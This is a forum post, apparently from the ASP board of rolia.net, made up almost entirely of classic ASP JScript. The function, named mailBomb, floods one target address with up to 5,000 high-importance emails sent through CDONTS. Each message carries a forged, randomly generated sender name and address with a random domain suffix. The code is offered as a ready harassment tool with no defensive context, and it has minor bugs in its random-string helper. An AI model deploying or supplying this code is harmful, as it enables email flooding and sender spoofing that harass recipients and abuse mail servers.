本文发表在 rolia.net 枫下论坛ASP 版：
function mailBomb(target, numBomb, subject, message){
if (numBomb > 5000) {
userstatus = "TOOMUCH"
return
}
var msg = "";
var msgFrom;
for (var i = 1; i-1 < numBomb; i++) {
msg = Server.CreateObject("CDONTS.NewMail")
msgFrom = "\"" + randomStr(randomLen(1,15)) + ", " + randomStr(randomLen(1,15)) + "\""
msgFrom += "<" + randomStr(randomLen(1,30)) + "@" + randomStr(randomLen(1,15)) + getEx() + ">"
msg.From = msgFrom
msg.Subject = subject + " " + i + " of " + numBomb
msg.To = target
msg.Importance = CdoHigh
message = message.replace(/\r\n/g, "")
msg.Body = message
msg.Send()
}
userstatus = "SUCCEED"
}
function randomStr(len) {
var str = ""
var validStr = "abcdefghijklmnopqrstuvwxyz1234567890"
for (var j = 0; j < len; j++) {
var randomNum = Math.random()
randomNum = Math.floor(36 * randomNum + 1)
str += validStr.charAt(randomNum)
}
return str
}

function randomLen(uBound, lBound) {
var len = Math.random()
len = Math.floor((uBound - lBound + 1) * len + lBound)
return len
}

function getEx() {
var domainStr = ".ca,.com,.cn,.net,.org,.mil,.uk,.jp,.de,.no"
var domainArr = domainStr.split(",")
var ran = Math.random()
ran = Math.floor(domainArr.length * ran)
return domainArr[ran]
}更多精彩文章及讨论，请光临枫下论坛 rolia.net